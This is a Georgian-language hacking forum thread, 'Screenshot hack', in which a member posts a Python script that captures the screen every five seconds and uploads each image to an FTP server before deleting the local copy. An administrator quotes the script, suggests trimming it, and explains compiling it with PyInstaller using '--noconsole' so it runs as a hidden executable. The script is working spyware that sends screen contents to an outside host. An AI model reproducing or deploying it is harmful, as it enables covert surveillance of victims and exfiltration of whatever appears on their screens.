მოგესალმებათ CYBSECGROUP ფორუმი
№1 კიბერ ფორუმი საქართველოში, თქვენ გაქვთ შესაძლებლობა გაეცნოთ საინტერესო პროექტებს, საინტერესო გარემოში
რეგისტრაცია

Screenshot hack

maXXXara

Loading... 👽
CSG Member
სექ 27, 2018
4
9
#1
პროგრამა რომელიც სქრინავს ყოველ 5 წამში და გზავნის FTP სერვერზე
Code:
#მოდულების შემოტანა
import pyautogui
import time
from ftplib import FTP
import ftplib
import os
import fileinput
#FTP სერვერზე დალოგინება
host = ''
username = ''
password = ''
ftp = FTP()
ftp.set_debuglevel(2)
ftp.connect(host, 21)
ftp.login(username,password)
#სერვერზე ფაილის Pathი
ftp.cwd('/htdocs')
#დასქრინვა და შენახვა
def Screen(a):
    pic = pyautogui.screenshot()
    pic.save(a + '.png')

i = 0
while True:
    i = i+1
    x = str(i)
    #ყოველ 5 წამში დასქრნივის ფუნქციის შესრულება
    time.sleep(5)
    Screen(x)
    fp = open(x + '.png', 'rb')
    ftp.storbinary('STOR %s' % os.path.basename(x + '.png'), fp, 1024)
    fp.close()
    os.remove(x + '.png')
 
მოწონებები: ika-xareba, shadow-bu, auoie and 5 others

ვაკო ბატიაშვილი

I am Groot!!!
ადმინისტრატორი
Alien 👽
ივნ 27, 2018
107
178
#3
პროგრამა რომელიც სქრინავს ყოველ 5 წამში და გზავნის FTP სერვერზე
Code:
#მოდულების შემოტანა
import pyautogui
import time
from ftplib import FTP
import ftplib
import os
import fileinput
#FTP სერვერზე დალოგინება
host = ''
username = ''
password = ''
ftp = FTP()
ftp.set_debuglevel(2)
ftp.connect(host, 21)
ftp.login(username,password)
#სერვერზე ფაილის Pathი
ftp.cwd('/htdocs')
#დასქრინვა და შენახვა
def Screen(a):
    pic = pyautogui.screenshot()
    pic.save(a + '.png')

i = 0
while True:
    i = i+1
    x = str(i)
    #ყოველ 5 წამში დასქრნივის ფუნქციის შესრულება
    time.sleep(5)
    Screen(x)
    fp = open(x + '.png', 'rb')
    ftp.storbinary('STOR %s' % os.path.basename(x + '.png'), fp, 1024)
    fp.close()
    os.remove(x + '.png')
შეგიძ₾ია კოდი უფრო გააალამაზო შემდეგში, უფრო პატარაც გამოვა + ექსეში რომ გადაიყვანო ასე დიდი გამოვა ეს კოდი, მოდულებიდან ის ფუქნცები შემოიტანე მარტო რასაც იყენებ + არხებს თუ დაამატებ კარგი იქნება. ისე კარგია რომ გიწვალია. +1 ლაიქი ჩემგან <3
 
მოწონებები: maXXXara

ვაკო ბატიაშვილი

I am Groot!!!
ადმინისტრატორი
Alien 👽
ივნ 27, 2018
107
178
#5
ეს ფაილი ნოუთში ექსის ფორმატით უნდა დავასეივოთ ხო?
რა თქმა უნდ არა. exe არის უკვე დაკომპილირებული, ბინარული ფაილი. ეგ კოდი უნდა შიენახო py ან pyw (ეს ტერმინალის გარესშე გაუშვებს) მარა პითონის ინსტალაცია დაჭირდება მოწყობილებაზე. ამიტომ ავაინსტალირებთ pyinstaller-ს. (# python3 -m pip install pyinstaller) და მერე pyinstaller-ით გადაგვყავ exe ში ან sh ანდა სხვა ბინარულ გაფართოებაში. დამოკიდებულია რა სისტემაზე ხართ. ლინუქსზე თუ გაუშვებთ .sh -დაიბილდება ხოლო ვინდოუსზე თუ ხართ .exe-შიდაიბილდება pyinstaller file.py --onefile --noconsole აუთფუთი იქნება ფოლდერში dist
 
მოწონებები: * Dark Grizzly

HackerN30

DanG3R!
CSG Member
მაი 30, 2019
4
1
#6
რა თქმა უნდ არა. exe არის უკვე დაკომპილირებული, ბინარული ფაილი. ეგ კოდი უნდა შიენახო py ან pyw (ეს ტერმინალის გარესშე გაუშვებს) მარა პითონის ინსტალაცია დაჭირდება მოწყობილებაზე. ამიტომ ავაინსტალირებთ pyinstaller-ს. (# python3 -m pip install pyinstaller) და მერე pyinstaller-ით გადაგვყავ exe ში ან sh ანდა სხვა ბინარულ გაფართოებაში. დამოკიდებულია რა სისტემაზე ხართ. ლინუქსზე თუ გაუშვებთ .sh -დაიბილდება ხოლო ვინდოუსზე თუ ხართ .exe-შიდაიბილდება pyinstaller file.py --onefile --noconsole აუთფუთი იქნება ფოლდერში dist
მადლობა <3